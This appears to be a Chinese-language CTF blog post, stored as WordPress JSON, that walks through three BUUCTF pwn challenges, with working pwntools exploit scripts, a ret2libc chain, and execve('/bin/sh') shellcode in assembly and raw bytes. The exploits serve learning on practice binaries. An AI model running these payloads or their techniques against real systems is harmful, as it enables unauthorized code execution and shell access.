{"id":195,"date":"2025-07-25T14:21:16","date_gmt":"2025-07-25T06:21:16","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=195"},"modified":"2025-07-25T14:21:17","modified_gmt":"2025-07-25T06:21:17","slug":"buuctfwustctf2020_closed%e3%80%81jarvisoj_level1%e3%80%81ciscn_2019_s_9","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/25\/buuctfwustctf2020_closed%e3%80%81jarvisoj_level1%e3%80%81ciscn_2019_s_9\/","title":{"rendered":"buuctf:wustctf2020_closed\u3001jarvisoj_level1\u3001ciscn_2019_s_9"},"content":{"rendered":"\n

1\u3001wustctf2020_closed\u5206\u6790<\/h2>\n\n\n\n
\n
\"\"<\/div><\/figure>\n\n\n\n


<\/h2>\n<\/div>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4dpartial relro\u548cNX,\u4f46\u662f\u8fdb\u53bb\u5c31\u770b\u5230\u4e86system\u548cbinsh<\/p>\n\n\n\n

vulnerable\u51fd\u6570\u6709\u4e24\u4e2aclose\u51fd\u6570\uff0c\u8fd9\u662f\u4ec0\u4e48<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

close\u662f\u7528\u6765\u5173\u95ed\u4e00\u4e2a\u5df2\u7ecf\u6253\u5f00\u6587\u4ef6\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26<\/p>\n\n\n\n

\u5173\u95ed\u4e86\u6807\u51c6\u8f93\u51fa\u548c\u6807\u51c6\u9519\u8bef\uff0c\u90a3\u6211\u4eec\u53ef\u4ee5\u91cd\u5b9a\u5411\u5230\u6807\u51c6\u8f93\u5165\uff0c\u7a0b\u5e8f\u8fd0\u884c\u5230shell\u53bb<\/p>\n\n\n\n

\u540e\u9762\u624d\u662f\u8fd4\u56deshell<\/p>\n\n\n\n

\u8fd9\u91cc\u5176\u5b9e\u4ee5\u524d\u9047\u5230\u8fc7\uff0cexec\u91cd\u5b9a\u5411\uff0c\u5148\u6765\u770b\u4e00\u4e0b\u6587\u4ef6\u63cf\u8ff0\u7b26<\/p>\n\n\n\n

0\uff1a\u6807\u51c6\u8f93\u5165<\/p>\n\n\n\n

1\uff1a\u6807\u51c6\u8f93\u51fa<\/p>\n\n\n\n

2\uff1a\u6807\u51c6\u9519\u8bef<\/p>\n\n\n\n

\u5c31\u662f\u7528exe 1>&0\u53bb\u91cd\u5b9a\u5411\uff0c\u628a\u6807\u51c6\u8f93\u51fa\u6539\u4e3a\u6807\u51c6\u8f93\u5165,\u8fd9\u4e2a\u53ea\u5728shell\u811a\u672c\u91cc\u6709\u7528\u3002<\/p>\n\n\n\n

2\u3001wustctf2020_closed\u5b9e\u64cd<\/h2>\n\n\n\n

\u5c31\u76f4\u63a5nc\u8f93\u5165exec 1>&0<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


3\u3001jarvisoj_level1\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d<\/p>\n\n\n\n

vulnerable_function\u51fd\u6570<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6709\u6808\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8fd9\u9053\u9898\u5e94\u8be5\u662fret2libc\u4e86,\u7528write\u51fd\u6570\uff0c\u4f46\u662f\u6ca1\u6709\u5f00NX,\u8981\u4e0d\u8bd5\u8bd5shellcode.\u8fd9\u6837\u6211\u4eec\u8981\u77e5\u9053buf\u7684\u5730\u5740<\/p>\n\n\n\n

\u5176\u5b9e\u5b83\u5df2\u7ecf\u5728\u7a0b\u5e8f\u5f00\u59cb\u7ed9\u6211\u4eec\u4e86\uff0c\u6211\u4eec\u8981\u63a5\u6536\u5b83\uff0c\u4f46\u662f\u6211\u7684\u672c\u5730\u73af\u5883\u548c\u5b83\u7684\u4e0d\u4e00\u6837\uff0c\u8fd8\u662fret2libc\u5427<\/p>\n\n\n\n

4\u3001jarvisoj_level1\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26339)\nelf=ELF(\".\/level1\")\nlibc=ELF(\".\/libc-2.23.so\")\n\nvuln=0x804847B\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\n\npayload=b'a'*(0x88+4)+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)\np.sendline(payload)\nwrite=u32(p.recv(4))\nprint(hex(write))\n\nbase=write-libc.sym['write']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\n\npayload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(binsh)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001ciscn_2019_s_9\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u548c\u4e0a\u4e00\u9053\u4fe1\u606f\u4e00\u6837<\/p>\n\n\n\n
pwn\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u9898\u6ca1\u6709\u6253\u901a\uff0c\u6240\u4ee5\u641c\u4e86\u4e00\u4e0b\uff0c\u539f\u6765shellcode\u592a\u957f\u4e86\uff0c\u800c\u4e14\u770b\u5230hint\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u5c31\u9700\u8981\u6211\u4eec\u6784\u9020\u4e00\u4e0b\u4e86<\/p>\n\n\n\n
\u9996\u5148\u6211\u4eec\u8981\u6267\u884c\/bin\/sh<\/p>\n\n\n\n
xor eax,eax\nxor edx,edx\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nmov al,0xB\nint 0x80<\/code><\/pre>\n\n\n\n
\u4e4b\u524d\u6536\u96c6\u8fc7\u4e00\u4e2a\u77ed\u7684<\/p>\n\n\n\n
\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80<\/p>\n\n\n\n
\u7136\u540e\u8986\u76d6\u539f\u8fd4\u56de\u5730\u5740\u4e3a\u6307\u5411jmp esp\u7684\u5730\u5740<\/p>\n\n\n\n
\u63a5\u7740\u6211\u4eec\u4fee\u6539\u6808\u9876\u4e3as\u5730\u5740\uff0c\u5c31\u662f\u8f93\u5165shellcode\u7684\u5185\u5b58\u8d77\u59cb\u5730\u5740\uff0c\u9700\u8981\u624b\u52a8\u52a0\u4e00\u4e0b<\/p>\n\n\n\n
sub esp,28h;call esp<\/p>\n\n\n\n
\u8fd9\u662f\u56e0\u4e3as\u8ddd\u79bbebp\u662f20h,\u800cs\u8ddd\u79bb\u8fd4\u56de\u5730\u5740\u7684\u8ddd\u79bb\u662f0x24\u540e\u9762\u63a5jmp esp\u5730\u5740 0x08048554\uff0c\u8ddd\u79bbesp\u5c31\u662f28h\uff0c\u6211\u4eec\u8981\u8ba9esp\u6808\u9876\u6307\u5411s\u5c31\u8981\u8ba9\u6b64\u65f6\u7684esp\u51cf\u53bb28h<\/p>\n\n\n\n
6\u3001ciscn_2019_s_9\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28470)\n\nshellcode='''\nxor eax,eax\nxor edx,edx\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nmov al,0xb\nint 0x80\n'''\nshellcode=asm(shellcode)#\u540e\u9762\u591a\u4f59\u7684\u7a7a\u95f4\u7528\\x90\u8865\npaylaod=shellcode.ljust(0x24,b'\\x90')+p32(0x8048554)+asm(\"sub esp,40;call esp\")\np.sendline(paylaod)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

ok,\u5c31\u5230\u8fd9\u513f\u5427……<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001wustctf2020_closed\u5206\u6790 64\u4f4dpartial relro\u548cNX,\u4f46\u662f\u8fdb\u53bb\u5c31\u770b\u5230\u4e86syst […]<\/p>\n","protected":false},"author":1,"featured_media":209,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-195","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":2,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":212,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/195\/revisions\/212"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/209"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}